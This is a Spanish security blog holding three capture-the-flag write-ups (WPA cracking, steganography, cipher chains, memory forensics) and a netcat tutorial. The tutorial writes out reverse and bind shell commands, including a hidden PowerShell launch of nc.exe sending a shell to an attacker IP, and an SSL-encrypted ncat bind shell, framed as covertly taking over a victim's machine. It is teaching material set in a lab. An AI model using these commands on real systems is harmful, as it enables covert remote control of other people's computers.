jueves, 27 de diciembre de 2018

Writeup - UAM - UNIVERSO MARVEL - EPISODIO 1 - 1ª PARTE

Los de UAM (Una al mes) nos traen un nuevo reto, esta vez nos adentramos en el Universo Marvel, donde tendremos que analizar una comunicación (una captura de red) para descubrir la ubicación exacta de la base secreta de Hydra.


Manos a la obra

Pulsamos el enlace y nos descargamos el archivo "capture-01.cap" y lo ejecutamos con Wireshark.



Como podemos ver, los datos están cifrados por el protocolo "IEEE 802.11" y la comunicación ha sido a través de una red inalámbrica (WiFi).

Por lo tanto, nos haría falta conocer la contraseña para poder desencriptar los paquetes y hacerlos legibles.

Para ello utilizaremos wpaclean, para dejar sólo las tramas del WPA y sacar la password posteriormente con fuerza bruta.



Procedemos a sacar la password por fuerza bruta con aircrack-ng y el diccionario "rockyou.txt".



Tras algo mas de una hora (en mi modesto portátil) obtendremos la password "hydra54321".

La colocamos en Wireshark y ahora estarán los paquetes legibles y encontramos esto:



Abrimos la URL y nos encontraremos en un sitio web, con las credenciales de "Grant Ward" y por lo que podemos ver, existe un apartado en el sitio llamado "Ubicación de la base".

Hacemos clic en el apartado y......Plaffff, en toda la frente! 




El juego continua, por lo que si visitamos el apartado "Misiones" nos muestra:



Aquí hay tomate! Bueno en este punto, revisé el código y encontré el enlace que abría el apartado de cual no tenía los permisos necesarios para poder entrar.




Tras unas pruebas y beberme una lata de "Monster", comprobé que el servidor no estaba bien protegido y me permitía descargar archivos. Por lo que hice "magia" con "Wget":



Hacemos un "cat" para leer el archivo y nos muestra el contenido codificado en "Base64".



Vamos a descodificarlo:



Por lo que se aprecia en el código, vemos que aunque esté cifrado, se entiende las coordenadas "37' 21' A 23" 28' R" y el formato de la flag "HNZ{.........} por lo que estamos muy cerca de terminar el reto.

Por la estructura, diría que es ROT:



Habemus flag! UAM{46863d92858b486c29f759767e53e92f}

Agradecer y dar la enhorabuena a los chicos de UAM (@hispasec) por los retos tan currados, espero impaciente otro reto. GRACIAS!

viernes, 7 de diciembre de 2018

Writeup - UAM - 20º aniversario


UAM (Una al Mes) o mejor dicho, UAD (Una al Día) nos proponen un reto por su 20º aniversario, donde nos ofrecen la oportunidad de ganar una camiseta tan "chula" como esta:


Eso sí, tendremos que ser entre los diez primeros en resolver el reto.

Manos a la obra

Nos descargamos la imagen de la noticia y la analizamos con exiftool (pura rutina xD)


Nada fuera de lo normal, le pasamos con Stegsolve e ImgStego y mas de lo mismo, sin ninguna pista.

Llega el turno a LSB-Stego, en el que obtenemos el siguiente string:


Por fin hemos encontrado algo! (ya se ve la camiseta, de lejos, pero se ve :P)

Procedemos a descifrar el texto, por la pista que nos han dado los chic@s de UAM/UAD "Mucha Vig.Bas.Rot a todos"

Tras consultar con la almohada, pienso que las siglas VBR corresponden a tres tipos diferentes de cifrado: Vigenère, Base64 y ROT

Primer cifrado: Vigenère + UAD (Una Al Día) que será nuestra password.



Segundo cifrado: Base64


Tercer cifrado: ROT



Ahí tenemos la flag "UAD{20_4nY0s_n0_s3_Cumpl3N_t0D0s_l0s_d1as}" y por supuesto, la camiseta!


¡Y es que no hay nada mas bonito que la sonrisa de un niño!

Gracias al equipo de @hispasec y @unaaldia por el evento, muchísimas felicidades por esos 20 años y que cumpláis muchos mas!!

viernes, 26 de octubre de 2018

WRITEUP SILICON VALLEY UAM - EPISODIO 2


Los de UAM (Una al mes) vuelven hacer de las suyas y nos traen un nuevo reto donde tendremos que sacar la "flag" del archivo flag.txt, este se encuentra comprimido y protegido por una contraseña.


Manos a la obra

Descargamos el archivo pied_piper_bak.zip desde cualquier enlace expuesto en el reto (yo elegí MEGA) y descomprimimos el fichero, obteniendo un archivo .raw.

Abrimos volatility y escaneamos la lista de archivos, tras buscar en la larga lista, encontramos un archivo bastante "sospechoso".


Recuperamos el archivo:


Sacamos los strings del archivo:


Tenemos una base de datos de sqlite (también se podría sacar usando sqlite, pero con strings adelantamos :P)

Tenemos varios usuarios en la tabla, pero nos llamada la atención ese "true_god" (recordemos el enunciado del reto "la clave VERDADERA ...... gracias a DIOS tiene....". Está claro que por aquí van los tiros.

Tras buscar en Google con varias cadenas del texto cifrado y mucha, mucha, mucha y digo mucha paciencia encontramos esto.

No hay duda, el texto está cifrado en "Bacon", pasamos a descifrarlo con esta tool:


La password del archivo es: REMAZOABACONIAN y pasamos a descomprimir el archivo:


Parece que ya tenemos el reto resuelto, vayamos hacer un cat para leer el archivo "flag.txt".


En la frente! El archivo flag.txt está cifrado (recordemos el enunciado, tiene dos cifrados), hacemos un "cat" al LEEME y nos da un enlace a Youtube y nos suelta una pista "La clave final de todo está en el corazón de Telegram, en sus comienzos...."

Abrimos el vídeo de Youtube y nos encontramos con el siguiente título "USA for Africa - We Are The World - 1985", tenemos un cifrado, por lo que nuevamente voy probando cadenas jugando con los números y la palabra "decode" hasta encontrar esta pista.

Abrimos el primer enlace (lo siento, soy muy de dcode.fr, que se le va hacer) y pegamos el texto cifrado.


Esto no se acaba! Pero nos aparece otro cifrado de lo que parece hexadecimal y un texto que nos da esperanzas para no tirarnos por la ventana "Vas bien, ya te queda menos".



La cadena sigue "casi" ilegible, pero nos da una pista de que por los patrones podría ser XOR, pero nos hace falta una clave para descifrarla.


La otra pista que nos quedaba era "La clave final de todo está en el corazón de Telegram, en sus comienzos...." clave final...., telegram...comienzos... Vamos a sacar un log del canal de Telegram de UAM.


Tras sacar el historial en formato HTML, vemos que no hay ninguna palabra o password, pero las palabras "claves" y "comienzo" suena a que sea una cifra, como por ejemplo la fecha:


Ponemos la cifra "14122017" como clave y....Si!


Obtenemos la flag, la introducimos y por fin damos por finalizado el reto.


Dar la enhorabuena a los chicos de UAM por los retos tan currados, espero impaciente otro reto. GRACIAS!

martes, 25 de septiembre de 2018

Usando netcat para obtener una shell

Hay ocasiones en las que, por el antivirus o por la limitación que sea, nos vemos obligados a usar netcat para obtener una shell en el equipo de la víctima. Hoy explicaré cuales son los tipos de shell y como podemos hacer para obtener una en cualquier equipo en cuestión de segundos si tenemos acceso físico al dispositivo desbloqueado.

Explicación de los tipos de Shell

Reverse Shell

Este tipo de Shell quizás es el más adecuado en entornos corporativos o que haya algún firewall en la red. Consiste en que el atacante se ponga a escuchar en algún puerto en su máquina y la víctima se conecta a él.

Bind Shell

Este tipo de Shell se suele usar más cuando se compromete un equipo en la misma red. Es lo contrario a la anterior. En esta la víctima se pone a escuchar en un puerto y es el atacante quien se conecta.

Ejemplo práctico

Entorno

Para realizar estas pruebas usaré dos máquinas virtuales. Un Windows 7 y la otra Kali Linux 2018.1 aunque la versión no debería afectar para nada.

En Kali ya está instalado por defecto netcat pero en Windows no, por lo que tenemos que descargarlo. Lo podemos hacer desde aquí https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip.

Reverse Shell

Para esto, usaremos la máquina Kali como atacante. Lo primero que vamos a hacer es usar netcat para escuchar en un puerto. Esto se hace con el siguiente comando:


nc -lvp 1337

Sustituyendo 1337 por el puerto que queramos. Lo podemos poner por ejemplo en el 80 para no levantar sospechas o evitar cualquier problema con el firewall.

Ahora lo siguiente será escribir el siguiente comando en el cmd de Windows.


RUTA_EJECUTABLE_NETCAT -nv IP_ATACANTE PUERTO -e cmd.exe


Y una vez le demos, en nuestra máquina Kali tendremos una Shell en la máquina Windows.



Bind Shell

Ahora sería al contrario que el caso anterior, vamos a poner a la máquina Windows a escuchar y nos conectaremos desde Kali.

Para ello tenemos que escribir el siguiente comando en el cmd:


RUTA_EJECUTABLE_NETCAT -lvp PUERTO -e cmd.exe


Ahora lo que tendríamos que hacer es conectarnos desde la otra máquina con el siguiente comando:
nc -nv IP_VICTIMA PUERTO


Y ahora ya tendríamos de nuevo una Shell en el equipo Windows.


Escondiendo la Shell

Ahora ya sabemos cómo tener una Shell en cualquier equipo, pero hay un gran problema, la consola se ve demasiado. Esto hay una forma de solucionarlo muy sencilla. Lo que tenemos que hacer es cambiar la forma en la que ejecutamos netcat. Para ejecutarlo de forma oculta tenemos que darle a la combinación de teclas Windows + R y escribimos el comando de la siguiente forma:


powershell -W Hidden RUTA_NETCAT -nv IP_ATACANTE PUERTO -e powershell.exe
Ahora en vez de ejecutarlo en el cmd vamos a ejecutarlo en un powershell, aunque si queremos podemos ejecutar la otra consola si queremos. El comando lo que haría sería ejecutar el powershell oculto. La clave está en el parámetro -W (-WindowStyle) que lo que hacemos es decirle que el estilo de la ventana sea oculto.

Por ejemplo, para una reverse Shell, una vez puesto la máquina del atacante a escuchar, lo que haríamos sería escribir el siguiente comando:


powershell -W Hidden "C:\Users\usuario\Desktop\nc.exe" -nv 192.168.217.129 1337 -e powershell.exe

Una vez ejecutemos el comando ya tendríamos una Shell en el equipo de la victima y ésta no se daría ni cuenta. Lo único que se vería, aparte de la conexión, es el proceso de netcat, pero esto un usuario normal no suele mirarlo.


Y entonces, ahora ya tendríamos una Shell en el equipo de la víctima.

Haciendo la conexión segura

Ahora, una vez visto los tipos de Shell y como ocultarla, al menos, a simple vista, vamos a llevarlo un paso más allá y vamos a cifrar la comunicación entre la víctima y el atacante.

Para ello vamos a usar ncat, que es la versión de netcat mejorada por el proyecto Nmap. Para descargarlo, podemos hacerlo en la web oficial de nmap ( https://nmap.org/ncat/ ).

Ahora para ver este ejemplo, primero vamos a poner wireshark a esnifar paquetes para comprobar como la comunicación está cifrada realmente.


Para este ejemplo, vamos a hacer una bind Shell, por lo que nos vamos a nuestra máquina Windows y la ponemos a escuchar con el siguiente comando:


RUTA_NCAT --allow IP_ATACANTE  -lvp PUERTO --exec cmd.exe --ssl

Y ahora desde la máquina Kali tenemos que poner el siguiente comando:


ncat -v IP_VICTIMA PUERTO --ssl

Y como vemos ahora en la captura de Wireshark, la conexión entre la víctima y el atacante, está cifrada.


Y esto es todo, espero que os haya gustado el artículo. Si tenéis cualquier duda podéis dejadlo en los comentarios o decírmelo por twiter (@RaSr98).

¡Un saludo!